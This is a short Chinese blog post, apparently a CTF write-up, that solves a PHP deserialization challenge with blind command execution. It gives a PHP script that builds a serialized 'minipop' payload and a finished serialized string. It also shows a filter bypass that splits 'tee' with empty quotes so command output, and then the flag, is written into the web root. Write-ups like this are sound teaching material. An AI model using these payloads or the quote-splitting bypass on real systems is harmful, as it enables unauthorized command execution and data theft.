R!!!C!!!E!!! | 无回显RCE

image

拿到题目后,一眼看到反序列化。

使用常规的方法传payload,发现没有回显
image

因为题目中是exce($this->$code)而不是echo exce($this->$code)

属于 无回显RCE,需要尝试把我们想要回显的内容写入一个文件中,然后我们读取文件便可以得到相关信息


最简单的是用重定向符号>

ls > 1

但是>被过滤了

使用管道符并字符串拼接

ls | t''ee /var/www/html/1

这条命令能绕过过滤的核心是:
PHP 正则看到:t''ee
Shell 实际执行:tee
也就是利用 Shell 的相邻字符串拼接:

t + 空字符串 + ee = tee

注意这里要加路径,因为当前文件路径/ 根目录
而我们能读取到的是/var/www/html

构造payload的php脚本为:

<?php

class minipop
{
    public $code;
    public $qwejaskdjnlka;
}

$a = new minipop();

$a->code = <<<'CMD'
ls | t''ee /var/www/html/1
CMD;

$a->qwejaskdjnlka = $a;

echo serialize($a);

image

发现flag在根目录的flag_is_h3eeere,读取

O:7:"minipop":2:{s:4:"code";s:43:"cat flag_is_h3eeere | t''ee /var/www/html/2";s:13:"qwejaskdjnlka";r:1;}

image

或者使用:
cat flag_is_h3eeeere | dd of=/var/www/html/1

亦可

posted @ 2026-08-13 10:14  Dragon_Roar  阅读(11)  评论(0)    收藏  举报